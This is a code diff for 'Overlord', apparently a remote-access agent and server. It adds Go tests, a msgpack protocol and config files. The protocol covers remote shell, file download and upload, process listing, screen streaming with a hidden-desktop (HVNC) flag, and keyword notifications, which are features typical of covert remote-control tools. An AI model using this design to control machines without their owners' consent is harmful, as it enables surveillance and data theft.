+ withEnv("OVERLORD_PING_INTERVAL_MS", "oops", func() {
+ interval := getPingInterval()
+ if interval != 30*time.Second {
+ t.Fatalf("expected 30s on invalid input, got %s", interval)
+ }
+ })
+}
+
+func TestReconnectDelay_Custom(t *testing.T) {
+ withEnv("OVERLORD_RECONNECT_DELAY_MS", "0", func() {
+ delay := reconnectDelay()
+ if delay != 0 {
+ t.Fatalf("expected 0, got %s", delay)
+ }
+ })
+}
+
+func TestReconnectDelay_Invalid(t *testing.T) {
+ withEnv("OVERLORD_RECONNECT_DELAY_MS", "bad", func() {
+ delay := reconnectDelay()
+ if delay < 10*time.Second || delay > 30*time.Second {
+ t.Fatalf("expected 10-30s, got %s", delay)
+ }
+ })
+}
+
+func TestShouldRetryImmediately(t *testing.T) {
+ cases := []struct {
+ name string
+ err error
+ want bool
+ }{
+ {
+ name: "normal closure",
+ err: &websocket.CloseError{Code: websocket.StatusNormalClosure},
+ want: true,
+ },
+ {
+ name: "going away",
+ err: &websocket.CloseError{Code: websocket.StatusGoingAway},
+ want: true,
+ },
+ {
+ name: "abnormal closure",
+ err: &websocket.CloseError{Code: websocket.StatusAbnormalClosure},
+ want: true,
+ },
+ {
+ name: "timeout string",
+ err: errors.New("timed out from inactivity"),
+ want: true,
+ },
+ {
+ name: "other error",
+ err: errors.New("something else"),
+ want: false,
+ },
+ {
+ name: "explicit reconnect",
+ err: handlers.ErrReconnect,
+ want: true,
+ },
+ }
+
+ for _, tc := range cases {
+ if got := shouldRetryImmediately(tc.err); got != tc.want {
+ t.Fatalf("%s: expected %v, got %v", tc.name, tc.want, got)
+ }
+ }
+}
+
+func TestBuildDialOptions(t *testing.T) {
+ transport := &http.Transport{}
+ opts := buildDialOptions(config.Config{}, transport)
+ if len(opts.Subprotocols) != 1 || opts.Subprotocols[0] != "binary" {
+ t.Fatalf("expected binary subprotocol, got %v", opts.Subprotocols)
+ }
+ if opts.CompressionMode != websocket.CompressionContextTakeover {
+ t.Fatalf("expected compression takeover, got %v", opts.CompressionMode)
+ }
+ if opts.HTTPClient == nil || opts.HTTPClient.Transport != transport {
+ t.Fatalf("expected http client to use provided transport")
+ }
+}
diff --git a/Overlord-Client/cmd/agent/wire/codec.go b/Overlord-Client/cmd/agent/wire/codec.go
new file mode 100644
index 0000000..bdb2069
--- /dev/null
+++ b/Overlord-Client/cmd/agent/wire/codec.go
@@ -0,0 +1,11 @@
+package wire
+
+import "github.com/vmihailenco/msgpack/v5"
+
+func DecodeEnvelope(data []byte) (map[string]interface{}, error) {
+ env := make(map[string]interface{})
+ if err := msgpack.Unmarshal(data, &env); err != nil {
+ return nil, err
+ }
+ return env, nil
+}
diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go
new file mode 100644
index 0000000..199bad9
--- /dev/null
+++ b/Overlord-Client/cmd/agent/wire/protocol.go
@@ -0,0 +1,187 @@
+package wire
+
+type Hello struct {
+ Type string `msgpack:"type"`
+ ID string `msgpack:"id"`
+ HWID string `msgpack:"hwid"`
+ Host string `msgpack:"host"`
+ OS string `msgpack:"os"`
+ Arch string `msgpack:"arch"`
+ Version string `msgpack:"version"`
+ User string `msgpack:"user"`
+ Monitors int `msgpack:"monitors"`
+ MonitorInfo []MonitorInfo `msgpack:"monitorInfo,omitempty"`
+ Country string `msgpack:"country,omitempty"`
+}
+
+type MonitorInfo struct {
+ Width int `msgpack:"width"`
+ Height int `msgpack:"height"`
+}
+
+type Ping struct {
+ Type string `msgpack:"type"`
+ TS int64 `msgpack:"ts,omitempty"`
+}
+
+type Pong struct {
+ Type string `msgpack:"type"`
+ TS int64 `msgpack:"ts,omitempty"`
+}
+
+type Command struct {
+ Type string `msgpack:"type"`
+ CommandType string `msgpack:"commandType"`
+ Payload interface{} `msgpack:"payload,omitempty"`
+ ID string `msgpack:"id,omitempty"`
+}
+
+type CommandResult struct {
+ Type string `msgpack:"type"`
+ CommandID string `msgpack:"commandId,omitempty"`
+ OK bool `msgpack:"ok"`
+ Message string `msgpack:"message,omitempty"`
+}
+
+type FrameHeader struct {
+ Monitor int `msgpack:"monitor"`
+ FPS int `msgpack:"fps"`
+ Format string `msgpack:"format"`
+ HVNC bool `msgpack:"hvnc,omitempty"`
+}
+
+type Frame struct {
+ Type string `msgpack:"type"`
+ Header FrameHeader `msgpack:"header"`
+ Data []byte `msgpack:"data"`
+}
+
+type ScreenshotResult struct {
+ Type string `msgpack:"type"`
+ CommandID string `msgpack:"commandId,omitempty"`
+ Format string `msgpack:"format"`
+ Width int `msgpack:"width,omitempty"`
+ Height int `msgpack:"height,omitempty"`
+ Data []byte `msgpack:"data"`
+ Error string `msgpack:"error,omitempty"`
+}
+
+type ConsoleOutput struct {
+ Type string `msgpack:"type"`
+ SessionID string `msgpack:"sessionId"`
+ Data []byte `msgpack:"data,omitempty"`
+ ExitCode *int `msgpack:"exitCode,omitempty"`
+ Error string `msgpack:"error,omitempty"`
+}
+
+type FileEntry struct {
+ Name string `msgpack:"name"`
+ Path string `msgpack:"path"`
+ IsDir bool `msgpack:"isDir"`
+ Size int64 `msgpack:"size"`
+ ModTime int64 `msgpack:"modTime"`
+ Mode string `msgpack:"mode,omitempty"`
+ Owner string `msgpack:"owner,omitempty"`
+ Group string `msgpack:"group,omitempty"`
+}
+
+type FileListResult struct {
+ Type string `msgpack:"type"`
+ CommandID string `msgpack:"commandId,omitempty"`
+ Path string `msgpack:"path"`
+ Entries []FileEntry `msgpack:"entries"`
+ Error string `msgpack:"error,omitempty"`
+}
+
+type FileDownload struct {
+ Type string `msgpack:"type"`
+ CommandID string `msgpack:"commandId,omitempty"`
+ Path string `msgpack:"path"`
+ Data []byte `msgpack:"data"`
+ Offset int64 `msgpack:"offset"`
+ Total int64 `msgpack:"total"`
+ ChunkIndex int `msgpack:"chunkIndex,omitempty"`
+ ChunksTotal int `msgpack:"chunksTotal,omitempty"`
+ Error string `msgpack:"error,omitempty"`
+}
+
+type FileUploadResult struct {
+ Type string `msgpack:"type"`
+ CommandID string `msgpack:"commandId,omitempty"`
+ TransferID string `msgpack:"transferId,omitempty"`
+ Path string `msgpack:"path"`
+ OK bool `msgpack:"ok"`
+ Offset int64 `msgpack:"offset,omitempty"`
+ Size int64 `msgpack:"size,omitempty"`
+ Received int64 `msgpack:"received,omitempty"`
+ Total int64 `msgpack:"total,omitempty"`
+ Error string `msgpack:"error,omitempty"`
+}
+
+type ProcessInfo struct {
+ PID int32 `msgpack:"pid"`
+ PPID int32 `msgpack:"ppid"`
+ Name string `msgpack:"name"`
+ CPU float64 `msgpack:"cpu"`
+ Memory uint64 `msgpack:"memory"`
+ Username string `msgpack:"username,omitempty"`
+ Type string `msgpack:"type,omitempty"`
+}
+
+type ProcessListResult struct {
+ Type string `msgpack:"type"`
+ CommandID string `msgpack:"commandId,omitempty"`
+ Processes []ProcessInfo `msgpack:"processes"`
+ Error string `msgpack:"error,omitempty"`
+}
+
+type FileReadResult struct {
+ Type string `msgpack:"type"`
+ CommandID string `msgpack:"commandId,omitempty"`
+ Path string `msgpack:"path"`
+ Content string `msgpack:"content"`
+ IsBinary bool `msgpack:"isBinary"`
+ Error string `msgpack:"error,omitempty"`
+}
+
+type FileSearchMatch struct {
+ Path string `msgpack:"path"`
+ Line int `msgpack:"line,omitempty"`
+ Match string `msgpack:"match,omitempty"`
+}
+
+type FileSearchResult struct {
+ Type string `msgpack:"type"`
+ CommandID string `msgpack:"commandId,omitempty"`
+ SearchID string `msgpack:"searchId"`
+ Results []FileSearchMatch `msgpack:"results"`
+ Complete bool `msgpack:"complete"`
+ Error string `msgpack:"error,omitempty"`
+}
+
+type ScriptResult struct {
+ Type string `msgpack:"type"`
+ CommandID string `msgpack:"commandId,omitempty"`
+ OK bool `msgpack:"ok"`
+ Output string `msgpack:"output"`
+ Error string `msgpack:"error,omitempty"`
+}
+
+type PluginEvent struct {
+ Type string `msgpack:"type"`
+ PluginID string `msgpack:"pluginId"`
+ Event string `msgpack:"event"`
+ Payload interface{} `msgpack:"payload,omitempty"`
+ Error string `msgpack:"error,omitempty"`
+}
+
+type Notification struct {
+ Type string `msgpack:"type"`
+ Category string `msgpack:"category"`
+ Title string `msgpack:"title"`
+ Process string `msgpack:"process,omitempty"`
+ ProcessPath string `msgpack:"processPath,omitempty"`
+ PID int32 `msgpack:"pid,omitempty"`
+ Keyword string `msgpack:"keyword,omitempty"`
+ TS int64 `msgpack:"ts,omitempty"`
+}
diff --git a/Overlord-Client/cmd/agent/wire/protocol_test.go b/Overlord-Client/cmd/agent/wire/protocol_test.go
new file mode 100644
index 0000000..46bcad2
--- /dev/null
+++ b/Overlord-Client/cmd/agent/wire/protocol_test.go
@@ -0,0 +1,361 @@
+package wire
+
+import (
+ "bytes"
+ "context"
+ "testing"
+
+ "github.com/vmihailenco/msgpack/v5"
+ "nhooyr.io/websocket"
+)
+
+type testWriter struct {
+ msgs [][]byte
+}
+
+func (w *testWriter) Write(ctx context.Context, messageType websocket.MessageType, p []byte) error {
+ w.msgs = append(w.msgs, append([]byte(nil), p...))
+ return nil
+}
+
+func TestHelloMarshaling(t *testing.T) {
+ hello := Hello{
+ Type: "hello",
+ ID: "test-id",
+ HWID: "test-hwid",
+ Host: "test-host",
+ OS: "test-os",
+ Arch: "test-arch",
+ Version: "1.0.0",
+ User: "test-user",
+ Monitors: 2,
+ MonitorInfo: []MonitorInfo{
+ {Width: 1920, Height: 1080},
+ {Width: 1280, Height: 720},
+ },
+ Country: "US",
+ }
+
+ data, err := msgpack.Marshal(hello)
+ if err != nil {
+ t.Fatalf("Failed to marshal Hello: %v", err)
+ }
+
+ var decoded Hello
+ if err := msgpack.Unmarshal(data, &decoded); err != nil {
+ t.Fatalf("Failed to unmarshal Hello: %v", err)
+ }
+
+ if decoded.ID != hello.ID {
+ t.Errorf("ID mismatch: got %s, want %s", decoded.ID, hello.ID)
+ }
+ if decoded.Monitors != hello.Monitors {
+ t.Errorf("Monitors mismatch: got %d, want %d", decoded.Monitors, hello.Monitors)
+ }
+ if len(decoded.MonitorInfo) != len(hello.MonitorInfo) {
+ t.Errorf("MonitorInfo length mismatch: got %d, want %d", len(decoded.MonitorInfo), len(hello.MonitorInfo))
+ }
+}
+
+func TestPingPongMarshaling(t *testing.T) {
+ ping := Ping{
+ Type: "ping",
+ TS: 1234567890,
+ }
+
+ data, err := msgpack.Marshal(ping)
+ if err != nil {
+ t.Fatalf("Failed to marshal Ping: %v", err)
+ }
+
+ var decoded Ping
+ if err := msgpack.Unmarshal(data, &decoded); err != nil {
+ t.Fatalf("Failed to unmarshal Ping: %v", err)
+ }
+
+ if decoded.TS != ping.TS {
+ t.Errorf("Timestamp mismatch: got %d, want %d", decoded.TS, ping.TS)
+ }
+
+ pong := Pong{
+ Type: "pong",
+ TS: ping.TS,
+ }
+
+ data2, err := msgpack.Marshal(pong)
+ if err != nil {
+ t.Fatalf("Failed to marshal Pong: %v", err)
+ }
+
+ var decodedPong Pong
+ if err := msgpack.Unmarshal(data2, &decodedPong); err != nil {
+ t.Fatalf("Failed to unmarshal Pong: %v", err)
+ }
+
+ if decodedPong.TS != pong.TS {
+ t.Errorf("Pong timestamp mismatch: got %d, want %d", decodedPong.TS, pong.TS)
+ }
+}
+
+func TestCommandMarshaling(t *testing.T) {
+ cmd := Command{
+ Type: "command",
+ CommandType: "test_command",
+ ID: "cmd-123",
+ Payload: map[string]interface{}{"key": "value"},
+ }
+
+ data, err := msgpack.Marshal(cmd)
+ if err != nil {
+ t.Fatalf("Failed to marshal Command: %v", err)
+ }
+
+ var decoded Command
+ if err := msgpack.Unmarshal(data, &decoded); err != nil {
+ t.Fatalf("Failed to unmarshal Command: %v", err)
+ }
+
+ if decoded.CommandType != cmd.CommandType {
+ t.Errorf("CommandType mismatch: got %s, want %s", decoded.CommandType, cmd.CommandType)
+ }
+ if decoded.ID != cmd.ID {
+ t.Errorf("ID mismatch: got %s, want %s", decoded.ID, cmd.ID)
+ }
+}
+
+func TestCommandResultMarshaling(t *testing.T) {
+ result := CommandResult{
+ Type: "command_result",
+ CommandID: "cmd-123",
+ OK: true,
+ Message: "Success",
+ }
+
+ data, err := msgpack.Marshal(result)
+ if err != nil {
+ t.Fatalf("Failed to marshal CommandResult: %v", err)
+ }
+
+ var decoded CommandResult
+ if err := msgpack.Unmarshal(data, &decoded); err != nil {
+ t.Fatalf("Failed to unmarshal CommandResult: %v", err)
+ }
+
+ if decoded.OK != result.OK {
+ t.Errorf("OK mismatch: got %v, want %v", decoded.OK, result.OK)
+ }
+ if decoded.Message != result.Message {
+ t.Errorf("Message mismatch: got %s, want %s", decoded.Message, result.Message)
+ }
+}
+
+func TestFrameMarshaling(t *testing.T) {
+ frame := Frame{
+ Type: "frame",
+ Header: FrameHeader{
+ Monitor: 0,
+ FPS: 30,
+ Format: "jpeg",
+ },
+ Data: []byte{0xFF, 0xD8, 0xFF, 0xE0},
+ }
+
+ data, err := msgpack.Marshal(frame)
+ if err != nil {
+ t.Fatalf("Failed to marshal Frame: %v", err)
+ }
+
+ var decoded Frame
+ if err := msgpack.Unmarshal(data, &decoded); err != nil {
+ t.Fatalf("Failed to unmarshal Frame: %v", err)
+ }
+
+ if decoded.Header.FPS != frame.Header.FPS {
+ t.Errorf("FPS mismatch: got %d, want %d", decoded.Header.FPS, frame.Header.FPS)
+ }
+ if !bytes.Equal(decoded.Data, frame.Data) {
+ t.Errorf("Data mismatch")
+ }
+}
+
+func TestFileEntryMarshaling(t *testing.T) {
+ entry := FileEntry{
+ Name: "test.txt",
+ Path: "/home/user/test.txt",
+ IsDir: false,
+ Size: 1024,
+ ModTime: 1609459200,
+ }
+
+ data, err := msgpack.Marshal(entry)
+ if err != nil {
+ t.Fatalf("Failed to marshal FileEntry: %v", err)
+ }
+
+ var decoded FileEntry
+ if err := msgpack.Unmarshal(data, &decoded); err != nil {
+ t.Fatalf("Failed to unmarshal FileEntry: %v", err)
+ }
+
+ if decoded.Name != entry.Name {
+ t.Errorf("Name mismatch: got %s, want %s", decoded.Name, entry.Name)
+ }
+ if decoded.Size != entry.Size {
+ t.Errorf("Size mismatch: got %d, want %d", decoded.Size, entry.Size)
+ }
+ if decoded.IsDir != entry.IsDir {
+ t.Errorf("IsDir mismatch: got %v, want %v", decoded.IsDir, entry.IsDir)
+ }
+}
+
+func TestFileListResultMarshaling(t *testing.T) {
+ result := FileListResult{
+ Type: "file_list_result",
+ CommandID: "cmd-456",
+ Path: "/home/user",
+ Entries: []FileEntry{
+ {Name: "file1.txt", Path: "/home/user/file1.txt", IsDir: false, Size: 100, ModTime: 1609459200},
+ {Name: "dir1", Path: "/home/user/dir1", IsDir: true, Size: 0, ModTime: 1609459200},
+ },
+ Error: "",
+ }
+
+ data, err := msgpack.Marshal(result)
+ if err != nil {
+ t.Fatalf("Failed to marshal FileListResult: %v", err)
+ }
+
+ var decoded FileListResult
+ if err := msgpack.Unmarshal(data, &decoded); err != nil {
+ t.Fatalf("Failed to unmarshal FileListResult: %v", err)
+ }
+
+ if len(decoded.Entries) != len(result.Entries) {
+ t.Errorf("Entries count mismatch: got %d, want %d", len(decoded.Entries), len(result.Entries))
+ }
+ if decoded.Path != result.Path {
+ t.Errorf("Path mismatch: got %s, want %s", decoded.Path, result.Path)
+ }
+}
+
+func TestProcessInfoMarshaling(t *testing.T) {
+ proc := ProcessInfo{
+ PID: 1234,
+ PPID: 1,
+ Name: "test.exe",
+ CPU: 25.5,
+ Memory: 1048576,
+ Username: "testuser",
+ Type: "own",
+ }
+
+ data, err := msgpack.Marshal(proc)
+ if err != nil {
+ t.Fatalf("Failed to marshal ProcessInfo: %v", err)
+ }
+
+ var decoded ProcessInfo
+ if err := msgpack.Unmarshal(data, &decoded); err != nil {
+ t.Fatalf("Failed to unmarshal ProcessInfo: %v", err)
+ }
+
+ if decoded.PID != proc.PID {
+ t.Errorf("PID mismatch: got %d, want %d", decoded.PID, proc.PID)
+ }
+ if decoded.PPID != proc.PPID {
+ t.Errorf("PPID mismatch: got %d, want %d", decoded.PPID, proc.PPID)
+ }
+ if decoded.Name != proc.Name {
+ t.Errorf("Name mismatch: got %s, want %s", decoded.Name, proc.Name)
+ }
+ if decoded.CPU != proc.CPU {
+ t.Errorf("CPU mismatch: got %f, want %f", decoded.CPU, proc.CPU)
+ }
+ if decoded.Type != proc.Type {
+ t.Errorf("Type mismatch: got %s, want %s", decoded.Type, proc.Type)
+ }
+}
+
+func TestProcessListResultMarshaling(t *testing.T) {
+ result := ProcessListResult{
+ Type: "process_list_result",
+ CommandID: "cmd-789",
+ Processes: []ProcessInfo{
+ {PID: 1, PPID: 0, Name: "init", CPU: 0.1, Memory: 1024, Username: "root", Type: "system"},
+ {PID: 100, PPID: 1, Name: "service", CPU: 5.0, Memory: 2048, Username: "system", Type: "service"},
+ },
+ Error: "",
+ }
+
+ data, err := msgpack.Marshal(result)
+ if err != nil {
+ t.Fatalf("Failed to marshal ProcessListResult: %v", err)
+ }
+
+ var decoded ProcessListResult
+ if err := msgpack.Unmarshal(data, &decoded); err != nil {
+ t.Fatalf("Failed to unmarshal ProcessListResult: %v", err)
+ }
+
+ if len(decoded.Processes) != len(result.Processes) {
+ t.Errorf("Processes count mismatch: got %d, want %d", len(decoded.Processes), len(result.Processes))
+ }
+}
+
+func TestWriteMsg(t *testing.T) {
+ writer := &testWriter{}
+ ctx := context.Background()
+
+ msg := Pong{
+ Type: "pong",
+ TS: 1234567890,
+ }
+
+ if err := WriteMsg(ctx, writer, msg); err != nil {
+ t.Fatalf("WriteMsg failed: %v", err)
+ }
+
+ if len(writer.msgs) != 1 {
+ t.Fatalf("Expected 1 message, got %d", len(writer.msgs))
+ }
+
+ var decoded Pong
+ if err := msgpack.Unmarshal(writer.msgs[0], &decoded); err != nil {
+ t.Fatalf("Failed to unmarshal written message: %v", err)
+ }
+
+ if decoded.TS != msg.TS {
+ t.Errorf("Written message timestamp mismatch: got %d, want %d", decoded.TS, msg.TS)
+ }
+}
+
+func TestConsoleOutputMarshaling(t *testing.T) {
+ exitCode := 0
+ output := ConsoleOutput{
+ Type: "console_output",
+ SessionID: "session-123",
+ Data: []byte("test output"),
+ ExitCode: &exitCode,
+ Error: "",
+ }
+
+ data, err := msgpack.Marshal(output)
+ if err != nil {
+ t.Fatalf("Failed to marshal ConsoleOutput: %v", err)
+ }
+
+ var decoded ConsoleOutput
+ if err := msgpack.Unmarshal(data, &decoded); err != nil {
+ t.Fatalf("Failed to unmarshal ConsoleOutput: %v", err)
+ }
+
+ if decoded.SessionID != output.SessionID {
+ t.Errorf("SessionID mismatch: got %s, want %s", decoded.SessionID, output.SessionID)
+ }
+ if !bytes.Equal(decoded.Data, output.Data) {
+ t.Errorf("Data mismatch")
+ }
+ if decoded.ExitCode == nil || *decoded.ExitCode != *output.ExitCode {
+ t.Errorf("ExitCode mismatch")
+ }
+}
diff --git a/Overlord-Client/cmd/agent/wire/safe_writer.go b/Overlord-Client/cmd/agent/wire/safe_writer.go
new file mode 100644
index 0000000..146401b
--- /dev/null
+++ b/Overlord-Client/cmd/agent/wire/safe_writer.go
@@ -0,0 +1,23 @@
+package wire
+
+import (
+ "context"
+ "sync"
+
+ "nhooyr.io/websocket"
+)
+
+type SafeWriter struct {
+ mu sync.Mutex
+ w Writer
+}
+
+func NewSafeWriter(w Writer) *SafeWriter {
+ return &SafeWriter{w: w}
+}
+
+func (s *SafeWriter) Write(ctx context.Context, messageType websocket.MessageType, p []byte) error {
+ s.mu.Lock()
+ defer s.mu.Unlock()
+ return s.w.Write(ctx, messageType, p)
+}
diff --git a/Overlord-Client/cmd/agent/wire/writer.go b/Overlord-Client/cmd/agent/wire/writer.go
new file mode 100644
index 0000000..6e4d7ea
--- /dev/null
+++ b/Overlord-Client/cmd/agent/wire/writer.go
@@ -0,0 +1,20 @@
+package wire
+
+import (
+ "context"
+
+ "github.com/vmihailenco/msgpack/v5"
+ "nhooyr.io/websocket"
+)
+
+type Writer interface {
+ Write(ctx context.Context, messageType websocket.MessageType, p []byte) error
+}
+
+func WriteMsg(ctx context.Context, w Writer, v interface{}) error {
+ payload, err := msgpack.Marshal(v)
+ if err != nil {
+ return err
+ }
+ return w.Write(ctx, websocket.MessageBinary, payload)
+}
diff --git a/Overlord-Client/go.mod b/Overlord-Client/go.mod
new file mode 100644
index 0000000..ff39d26
--- /dev/null
+++ b/Overlord-Client/go.mod
@@ -0,0 +1,22 @@
+module overlord-client
+
+go 1.21
+
+require (
+ github.com/creack/pty v1.1.21
+ github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018
+ github.com/pixiv/go-libjpeg v0.0.0-20190822045933-3da21a74767d // optional: turbojpeg build tag
+ github.com/tetratelabs/wazero v1.7.0
+ github.com/vmihailenco/msgpack/v5 v5.4.1
+ nhooyr.io/websocket v1.8.10
+)
+
+require golang.org/x/sys v0.24.0
+
+require (
+ github.com/gen2brain/shm v0.1.0 // indirect
+ github.com/godbus/dbus/v5 v5.1.0 // indirect
+ github.com/jezek/xgb v1.1.1 // indirect
+ github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
+ github.com/vmihailenco/tagparser/v2 v2.0.0 // indirect
+)
diff --git a/Overlord-Client/go.sum b/Overlord-Client/go.sum
new file mode 100644
index 0000000..7d186d5
--- /dev/null
+++ b/Overlord-Client/go.sum
@@ -0,0 +1,33 @@
+github.com/creack/pty v1.1.21 h1:1/QdRyBaHHJP61QkWMXlOIBfsgdDeeKfK8SYVUWJKf0=
+github.com/creack/pty v1.1.21/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
+github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8=
+github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/gen2brain/shm v0.1.0 h1:MwPeg+zJQXN0RM9o+HqaSFypNoNEcNpeoGp0BTSx2YY=
+github.com/gen2brain/shm v0.1.0/go.mod h1:UgIcVtvmOu+aCJpqJX7GOtiN7X2ct+TKLg4RTxwPIUA=
+github.com/godbus/dbus/v5 v5.1.0 h1:4KLkAxT3aOY8Li4FRJe/KvhoNFFxo0m6fNuFUO8QJUk=
+github.com/godbus/dbus/v5 v5.1.0/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
+github.com/jezek/xgb v1.1.1 h1:bE/r8ZZtSv7l9gk6nU0mYx51aXrvnyb44892TwSaqS4=
+github.com/jezek/xgb v1.1.1/go.mod h1:nrhwO0FX/enq75I7Y7G8iN1ubpSGZEiA3v9e9GyRFlk=
+github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018 h1:NQYgMY188uWrS+E/7xMVpydsI48PMHcc7SfR4OxkDF4=
+github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018/go.mod h1:Pmpz2BLf55auQZ67u3rvyI2vAQvNetkK/4zYUmpauZQ=
+github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=
+github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
+github.com/pixiv/go-libjpeg v0.0.0-20190822045933-3da21a74767d h1:ls+7AYarUlUSetfnN/DKVNcK6W8mQWc6VblmOm4XwX0=
+github.com/pixiv/go-libjpeg v0.0.0-20190822045933-3da21a74767d/go.mod h1:DO7ixpslN6XfbWzeNH9vkS5CF2FQUX81B85rYe9zDxU=
+github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
+github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
+github.com/stretchr/testify v1.6.1 h1:hDPOHmpOpP40lSULcqw7IrRb/u7w6RpDC9399XyoNd0=
+github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
+github.com/tetratelabs/wazero v1.7.0 h1:jg5qPydno59wqjpGrHph81lbtHzTrWzwwtD4cD88+hQ=
+github.com/tetratelabs/wazero v1.7.0/go.mod h1:ytl6Zuh20R/eROuyDaGPkp82O9C/DJfXAwJfQ3X6/7Y=
+github.com/vmihailenco/msgpack/v5 v5.4.1 h1:cQriyiUvjTwOHg8QZaPihLWeRAAVoCpE00IUPn0Bjt8=
+github.com/vmihailenco/msgpack/v5 v5.4.1/go.mod h1:GaZTsDaehaPpQVyxrf5mtQlH+pc21PIudVV/E3rRQok=
+github.com/vmihailenco/tagparser/v2 v2.0.0 h1:y09buUbR+b5aycVFQs/g70pqKVZNBmxwAhO7/IwNM9g=
+github.com/vmihailenco/tagparser/v2 v2.0.0/go.mod h1:Wri+At7QHww0WTrCBeu4J6bNtoV6mEfg5OIWRZA9qds=
+golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.24.0 h1:Twjiwq9dn6R1fQcyiK+wQyHWfaz/BJB+YIpzU/Cv3Xg=
+golang.org/x/sys v0.24.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
+gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo=
+gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+nhooyr.io/websocket v1.8.10 h1:mv4p+MnGrLDcPlBoWsvPP7XCzTYMXP9F9eIGoKbgx7Q=
+nhooyr.io/websocket v1.8.10/go.mod h1:rN9OFWIUwuxg4fR5tELlYC04bXYowCP9GX47ivo2l+c=
diff --git a/Overlord-Server/.env.example b/Overlord-Server/.env.example
new file mode 100644
index 0000000..0b1c67b
--- /dev/null
+++ b/Overlord-Server/.env.example
@@ -0,0 +1,30 @@
+# Overlord Server Environment Configuration
+# Copy this file to .env and customize for your deployment
+
+# Server Configuration
+PORT=5173
+HOST=0.0.0.0
+
+# Optional: Set custom hostname for certificate generation
+# OVERLORD_HOSTNAME=your-server.com
+
+# Authentication
+OVERLORD_USER=admin
+# Leave empty to auto-generate and persist in ./data/save.json
+OVERLORD_PASS=
+
+# Optional overrides. Leave empty to auto-generate and persist in ./data/save.json
+JWT_SECRET=
+OVERLORD_AGENT_TOKEN=
+
+# TLS/HTTPS Configuration (Always Enabled)
+# Certificates are auto-generated if not present
+# You can specify custom certificate paths:
+# OVERLORD_TLS_CERT=./certs/server.crt
+# OVERLORD_TLS_KEY=./certs/server.key
+
+# Optional: CA certificate for client certificate verification (mutual TLS)
+# OVERLORD_TLS_CA=./certs/ca.crt
+
+# Performance tuning
+PRUNE_BATCH=500
diff --git a/Overlord-Server/bun.lock b/Overlord-Server/bun.lock
new file mode 100644
index 0000000..cecb18e
--- /dev/null
+++ b/Overlord-Server/bun.lock
@@ -0,0 +1,327 @@
+{
+ "lockfileVersion": 1,
+ "configVersion": 0,
+ "workspaces": {
+ "": {
+ "name": "overlord-server",
+ "dependencies": {
+ "@msgpack/msgpack": "^3.0.0",
+ "adm-zip": "^0.5.12",
+ "flag-icons": "latest",
+ "geoip-lite": "latest",
+ "jose": "^6.1.3",
+ "uuid": "^9.0.1",
+ "winston": "^3.11.0",
+ },
+ "devDependencies": {
+ "@tailwindcss/cli": "^4.1.18",
+ "@types/bun": "^1.3.8",
+ "@types/geoip-lite": "latest",
+ "@types/uuid": "^9.0.7",
+ "autoprefixer": "^10.4.23",
+ "postcss": "^8.5.6",
+ "tailwindcss": "^4.1.18",
+ "typescript": "^5.6.3",
+ },
+ },
+ },
+ "packages": {
+ "@colors/colors": ["@colors/colors@1.6.0", "", {}, "sha512-Ir+AOibqzrIsL6ajt3Rz3LskB7OiMVHqltZmspbW/TJuTVuyOMirVqAkjfY6JISiLHgyNqicAC8AyHHGzNd/dA=="],
+
+ "@dabh/diagnostics": ["@dabh/diagnostics@2.0.8", "", { "dependencies": { "@so-ric/colorspace": "^1.1.6", "enabled": "2.0.x", "kuler": "^2.0.0" } }, "sha512-R4MSXTVnuMzGD7bzHdW2ZhhdPC/igELENcq5IjEverBvq5hn1SXCWcsi6eSsdWP0/Ur+SItRRjAktmdoX/8R/Q=="],
+
+ "@jridgewell/gen-mapping": ["@jridgewell/gen-mapping@0.3.13", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.0", "@jridgewell/trace-mapping": "^0.3.24" } }, "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA=="],
+
+ "@jridgewell/remapping": ["@jridgewell/remapping@2.3.5", "", { "dependencies": { "@jridgewell/gen-mapping": "^0.3.5", "@jridgewell/trace-mapping": "^0.3.24" } }, "sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ=="],
+
+ "@jridgewell/resolve-uri": ["@jridgewell/resolve-uri@3.1.2", "", {}, "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw=="],
